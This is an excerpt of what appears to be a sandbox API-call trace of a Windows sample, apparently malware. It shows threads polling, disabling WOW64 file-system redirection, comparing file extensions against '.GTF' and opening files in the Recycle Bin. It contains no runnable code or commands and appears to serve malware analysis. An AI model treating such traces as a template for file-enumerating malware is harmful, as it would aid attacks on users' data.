	[0058.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x736258, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c
	[0058.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x736258, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290
	[0058.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x736258, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294
	[0058.743] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77d2b0
	[0058.743] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x77d2b0, Size=0x20) returned 0x75e840
	[0058.743] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77d280
	[0058.743] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x77d280, Size=0x20) returned 0x75ebb0
	[0058.743] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000
	[0058.743] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30
	[0058.743] Wow64DisableWow64FsRedirection (in: OldValue=0x285ff7c | out: OldValue=0x285ff7c*=0x0) returned 1
	[0058.743] lstrlenW (lpString="kernel32.dll") returned 12
	[0058.743] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75e840 | out: hHeap=0x720000) returned 1
	[0058.743] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0058.743] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ebb0 | out: hHeap=0x720000) returned 1
	[0058.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x767700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298
	[0058.744] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0058.942] GetTickCount () returned 0x11504a0
	[0058.942] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0060.204] GetTickCount () returned 0x1150991
	[0060.205] GetTickCount () returned 0x1150991
	[0060.205] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0060.559] GetTickCount () returned 0x1150ae9
	[0060.559] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0060.716] GetTickCount () returned 0x1150b85
	[0060.716] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0061.897] GetTickCount () returned 0x1151029
	[0061.897] GetTickCount () returned 0x1151029
	[0061.897] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0062.337] GetTickCount () returned 0x11511de
	[0062.337] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0062.465] GetTickCount () returned 0x115125b
	[0062.465] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0062.793] GetTickCount () returned 0x11513a4
	[0062.793] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0064.463] GetTickCount () returned 0x1151a2b
	[0064.463] GetTickCount () returned 0x1151a2b
	[0064.463] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0065.287] GetTickCount () returned 0x1151d68
	[0065.287] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0066.426] GetTickCount () returned 0x11521dc
	[0066.426] GetTickCount () returned 0x11521dc
	[0066.426] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0067.514] GetTickCount () returned 0x1152612
	[0067.514] GetTickCount () returned 0x1152612
	[0067.514] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0067.869] GetTickCount () returned 0x115277a
	[0067.870] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0068.112] GetTickCount () returned 0x1152874
	[0068.112] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0068.734] GetTickCount () returned 0x1152ad5
	[0068.734] GetTickCount () returned 0x1152ad5
	[0068.734] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0069.006] GetTickCount () returned 0x1152bee
	[0069.006] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0069.115] GetTickCount () returned 0x1152c5c
	[0069.115] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0069.221] GetTickCount () returned 0x1152cc9
	[0069.221] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0069.338] GetTickCount () returned 0x1152d36
	[0069.338] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0069.456] GetTickCount () returned 0x1152db3
	[0069.456] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0069.565] GetTickCount () returned 0x1152e21
	[0069.565] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0069.682] GetTickCount () returned 0x1152e8e
	[0069.682] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0069.952] GetTickCount () returned 0x1152f98
	[0069.952] GetTickCount () returned 0x1152f98
	[0069.952] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0070.162] GetTickCount () returned 0x1153073
	[0070.163] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0070.278] GetTickCount () returned 0x11530e0
	[0070.278] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0070.393] GetTickCount () returned 0x115315d
	[0070.393] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0070.662] GetTickCount () returned 0x1153267
	[0070.662] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0071.262] GetTickCount () returned 0x11534b8
	[0071.262] GetTickCount () returned 0x11534b8
	[0071.262] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0071.790] GetTickCount () returned 0x11536cc
	[0071.792] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0072.274] GetTickCount () returned 0x11538b0
	[0072.274] GetTickCount () returned 0x11538b0
	[0072.274] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0072.612] GetTickCount () returned 0x1153a08
	[0072.612] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0072.813] GetTickCount () returned 0x1153ac3
	[0072.813] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0073.330] GetTickCount () returned 0x1153cd6
	[0073.330] GetTickCount () returned 0x1153cd6
	[0073.330] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0074.006] GetTickCount () returned 0x1153f76
	[0074.006] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0074.501] GetTickCount () returned 0x115415b
	[0074.501] GetTickCount () returned 0x115415b
	[0074.501] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0075.035] GetTickCount () returned 0x115437e
	[0075.035] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0075.588] GetTickCount () returned 0x11545a0
	[0075.588] GetTickCount () returned 0x11545a0
	[0075.588] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0076.315] GetTickCount () returned 0x115487f
	[0076.316] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0076.768] GetTickCount () returned 0x1154a44
	[0076.768] GetTickCount () returned 0x1154a44
	[0076.768] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0077.427] GetTickCount () returned 0x1154cd4
	[0077.427] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0077.806] GetTickCount () returned 0x1154e4b
	[0077.806] GetTickCount () returned 0x1154e4b
	[0077.806] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0078.289] GetTickCount () returned 0x1155030
	[0078.289] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0078.750] GetTickCount () returned 0x11551f5
	[0078.750] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0079.189] GetTickCount () returned 0x11553ba
	[0079.189] GetTickCount () returned 0x11553ba
	[0079.189] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0079.833] GetTickCount () returned 0x115563a
	[0079.833] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0080.419] GetTickCount () returned 0x115587d
	[0080.419] GetTickCount () returned 0x115587d
	[0080.419] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0080.865] GetTickCount () returned 0x1155a42
	[0080.865] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0081.541] GetTickCount () returned 0x1155ce2
	[0081.541] GetTickCount () returned 0x1155ce2
	[0081.541] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0082.043] GetTickCount () returned 0x1155ed6
	[0082.043] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0082.399] GetTickCount () returned 0x115603d
	[0082.399] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0082.724] GetTickCount () returned 0x1156185
	[0082.724] GetTickCount () returned 0x1156185
	[0082.724] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0083.026] GetTickCount () returned 0x11562ae
	[0083.026] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0083.343] GetTickCount () returned 0x11563e6
	[0083.343] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0083.745] GetTickCount () returned 0x115657d
	[0083.745] GetTickCount () returned 0x115657d
	[0083.745] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0084.116] GetTickCount () returned 0x11566f4
	[0084.116] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0084.349] GetTickCount () returned 0x11567de
	[0084.349] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0084.558] GetTickCount () returned 0x11568a9
	[0084.558] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0085.008] GetTickCount () returned 0x1156a6e
	[0085.008] GetTickCount () returned 0x1156a6e
	[0085.008] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0085.655] GetTickCount () returned 0x1156cff
	[0085.655] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0086.243] GetTickCount () returned 0x1156f50
	[0086.251] GetTickCount () returned 0x1156f50
	[0086.251] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0086.689] GetTickCount () returned 0x1157106
	[0086.689] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0087.444] GetTickCount () returned 0x11573f4
	[0087.444] GetTickCount () returned 0x11573f4
	[0087.444] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0087.955] GetTickCount () returned 0x11575f7
	[0087.963] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0088.309] GetTickCount () returned 0x115775f
	[0088.309] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0088.699] GetTickCount () returned 0x11578e5
	[0088.699] GetTickCount () returned 0x11578e5
	[0088.699] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0089.079] GetTickCount () returned 0x1157a5c
	[0089.079] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0089.628] GetTickCount () returned 0x1157c7f
	[0089.628] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0090.137] GetTickCount () returned 0x1157e83
	[0090.137] GetTickCount () returned 0x1157e83
	[0090.137] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0090.778] GetTickCount () returned 0x1158104
	[0090.778] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0091.013] GetTickCount () returned 0x11581ee
	[0091.013] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0091.457] GetTickCount () returned 0x11583a3
	[0091.457] GetTickCount () returned 0x11583a3
	[0091.457] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) 

Thread:
	id = 8
	os_tid = 0x1168

	[0060.231] GetTickCount () returned 0x11509a1
	[0060.231] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x24) returned 0x77f870
	[0060.231] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x77f870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4
	[0060.232] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x77f870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8
	[0060.233] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x77f870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac
	[0060.235] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x77f870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b0
	[0060.236] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77d148
	[0060.236] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x77d148, Size=0x20) returned 0x75eb10
	[0060.236] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77d148
	[0060.237] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x77d148, Size=0x20) returned 0x75ebb0
	[0060.237] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000
	[0060.237] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30
	[0060.237] Wow64DisableWow64FsRedirection (in: OldValue=0x299ff7c | out: OldValue=0x299ff7c*=0x0) returned 1
	[0060.237] lstrlenW (lpString="kernel32.dll") returned 12
	[0060.237] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75eb10 | out: hHeap=0x720000) returned 1
	[0060.237] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0060.237] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ebb0 | out: hHeap=0x720000) returned 1
	[0060.237] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x78af58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b4
	[0060.238] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0060.490] GetTickCount () returned 0x1150aab
	[0060.490] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0060.715] GetTickCount () returned 0x1150b85
	[0060.715] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0061.897] GetTickCount () returned 0x1151029
	[0061.897] GetTickCount () returned 0x1151029
	[0061.897] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0062.337] GetTickCount () returned 0x11511de
	[0062.337] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0062.465] GetTickCount () returned 0x115125b
	[0062.465] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0062.793] GetTickCount () returned 0x11513a4
	[0062.793] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0064.463] GetTickCount () returned 0x1151a2b
	[0064.463] GetTickCount () returned 0x1151a2b
	[0064.463] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0065.287] GetTickCount () returned 0x1151d68
	[0065.287] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0066.426] GetTickCount () returned 0x11521dc
	[0066.426] GetTickCount () returned 0x11521dc
	[0066.426] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0067.514] GetTickCount () returned 0x1152612
	[0067.514] GetTickCount () returned 0x1152612
	[0067.514] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0067.870] GetTickCount () returned 0x115277a
	[0067.870] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0068.112] GetTickCount () returned 0x1152874
	[0068.112] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0068.735] GetTickCount () returned 0x1152ad5
	[0068.735] GetTickCount () returned 0x1152ad5
	[0068.735] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0069.006] GetTickCount () returned 0x1152bee
	[0069.006] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0069.115] GetTickCount () returned 0x1152c5c
	[0069.115] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0069.221] GetTickCount () returned 0x1152cc9
	[0069.221] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0069.338] GetTickCount () returned 0x1152d36
	[0069.338] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0069.456] GetTickCount () returned 0x1152db3
	[0069.456] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0069.565] GetTickCount () returned 0x1152e21
	[0069.565] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0069.682] GetTickCount () returned 0x1152e8e
	[0069.682] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0069.952] GetTickCount () returned 0x1152f98
	[0069.952] GetTickCount () returned 0x1152f98
	[0069.952] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0070.163] GetTickCount () returned 0x1153073
	[0070.163] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0070.278] GetTickCount () returned 0x11530e0
	[0070.278] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0070.393] GetTickCount () returned 0x115315d
	[0070.393] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0070.662] GetTickCount () returned 0x1153267
	[0070.662] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0071.262] GetTickCount () returned 0x11534b8
	[0071.262] GetTickCount () returned 0x11534b8
	[0071.262] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0071.792] GetTickCount () returned 0x11536cc
	[0071.792] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0072.274] GetTickCount () returned 0x11538b0
	[0072.274] GetTickCount () returned 0x11538b0
	[0072.274] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0072.612] GetTickCount () returned 0x1153a08
	[0072.613] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0072.813] GetTickCount () returned 0x1153ac3
	[0072.813] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0073.330] GetTickCount () returned 0x1153cd6
	[0073.330] GetTickCount () returned 0x1153cd6
	[0073.330] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0074.006] GetTickCount () returned 0x1153f76
	[0074.006] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0074.502] GetTickCount () returned 0x115415b
	[0074.502] GetTickCount () returned 0x115415b
	[0074.502] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0075.035] GetTickCount () returned 0x115437e
	[0075.035] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0075.588] GetTickCount () returned 0x11545a0
	[0075.588] GetTickCount () returned 0x11545a0
	[0075.588] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0076.316] GetTickCount () returned 0x115487f
	[0076.316] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0076.768] GetTickCount () returned 0x1154a44
	[0076.768] GetTickCount () returned 0x1154a44
	[0076.768] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0077.426] GetTickCount () returned 0x1154cd4
	[0077.427] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0077.806] GetTickCount () returned 0x1154e4b
	[0077.806] GetTickCount () returned 0x1154e4b
	[0077.806] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0078.289] GetTickCount () returned 0x1155030
	[0078.289] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0078.750] GetTickCount () returned 0x11551f5
	[0078.750] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0079.189] GetTickCount () returned 0x11553ba
	[0079.189] GetTickCount () returned 0x11553ba
	[0079.189] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0079.834] GetTickCount () returned 0x115563a
	[0079.834] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0080.419] GetTickCount () returned 0x115587d
	[0080.419] GetTickCount () returned 0x115587d
	[0080.419] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0080.865] GetTickCount () returned 0x1155a42
	[0080.865] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0081.541] GetTickCount () returned 0x1155ce2
	[0081.541] GetTickCount () returned 0x1155ce2
	[0081.541] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0082.043] GetTickCount () returned 0x1155ed6
	[0082.043] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0082.399] GetTickCount () returned 0x115603d
	[0082.399] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0082.724] GetTickCount () returned 0x1156185
	[0082.724] GetTickCount () returned 0x1156185
	[0082.724] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0083.026] GetTickCount () returned 0x11562ae
	[0083.026] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0083.343] GetTickCount () returned 0x11563e6
	[0083.343] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0083.745] GetTickCount () returned 0x115657d
	[0083.745] GetTickCount () returned 0x115657d
	[0083.745] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0084.117] GetTickCount () returned 0x11566f4
	[0084.117] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0084.350] GetTickCount () returned 0x11567de
	[0084.350] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0084.558] GetTickCount () returned 0x11568a9
	[0084.558] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0085.008] GetTickCount () returned 0x1156a6e
	[0085.008] GetTickCount () returned 0x1156a6e
	[0085.008] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0085.655] GetTickCount () returned 0x1156cff
	[0085.655] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0086.251] GetTickCount () returned 0x1156f50
	[0086.251] GetTickCount () returned 0x1156f50
	[0086.251] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0086.689] GetTickCount () returned 0x1157106
	[0086.689] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0087.444] GetTickCount () returned 0x11573f4
	[0087.444] GetTickCount () returned 0x11573f4
	[0087.444] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0087.964] GetTickCount () returned 0x11575f7
	[0087.964] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0088.309] GetTickCount () returned 0x115775f
	[0088.309] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0088.699] GetTickCount () returned 0x11578e5
	[0088.699] GetTickCount () returned 0x11578e5
	[0088.699] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0089.079] GetTickCount () returned 0x1157a5c
	[0089.079] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0089.628] GetTickCount () returned 0x1157c7f
	[0089.628] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0090.137] GetTickCount () returned 0x1157e83
	[0090.137] GetTickCount () returned 0x1157e83
	[0090.137] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0090.778] GetTickCount () returned 0x1158104
	[0090.778] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0091.014] GetTickCount () returned 0x11581ee
	[0091.014] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) returned 0x102
	[0091.457] GetTickCount () returned 0x11583a3
	[0091.457] GetTickCount () returned 0x11583a3
	[0091.457] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x64) 

Thread:
	id = 10
	os_tid = 0x115c

	[0060.208] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10000) returned 0x7adba0
	[0060.209] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10000) returned 0x7bdba8
	[0060.209] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77d1c0
	[0060.209] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x6) returned 0x7acfe0
	[0060.209] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77d268
	[0060.209] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x100000) returned 0x2ea0020
	[0060.211] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77d0e8
	[0060.211] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x77d0e8, Size=0x20) returned 0x75ebb0
	[0060.211] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x10) returned 0x77d1d8
	[0060.211] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x77d1d8, Size=0x20) returned 0x75ec50
	[0060.212] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000
	[0060.212] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30
	[0060.212] Wow64DisableWow64FsRedirection (in: OldValue=0x265ff50 | out: OldValue=0x265ff50*=0x0) returned 1
	[0060.212] lstrlenW (lpString="kernel32.dll") returned 12
	[0060.212] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ebb0 | out: hHeap=0x720000) returned 1
	[0060.212] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0060.212] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x75ec50 | out: hHeap=0x720000) returned 1
	[0060.212] Sleep (dwMilliseconds=0x64) 
	[0060.529] lstrcmpiW (lpString1=".ini", lpString2=".GTF") returned 1
	[0060.558] lstrlenW (lpString="desktop.ini") returned 11
	[0060.558] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0060.558] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=129) returned 1
	[0060.558] CloseHandle (hObject=0x2c0) returned 1
	[0060.558] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 0x26
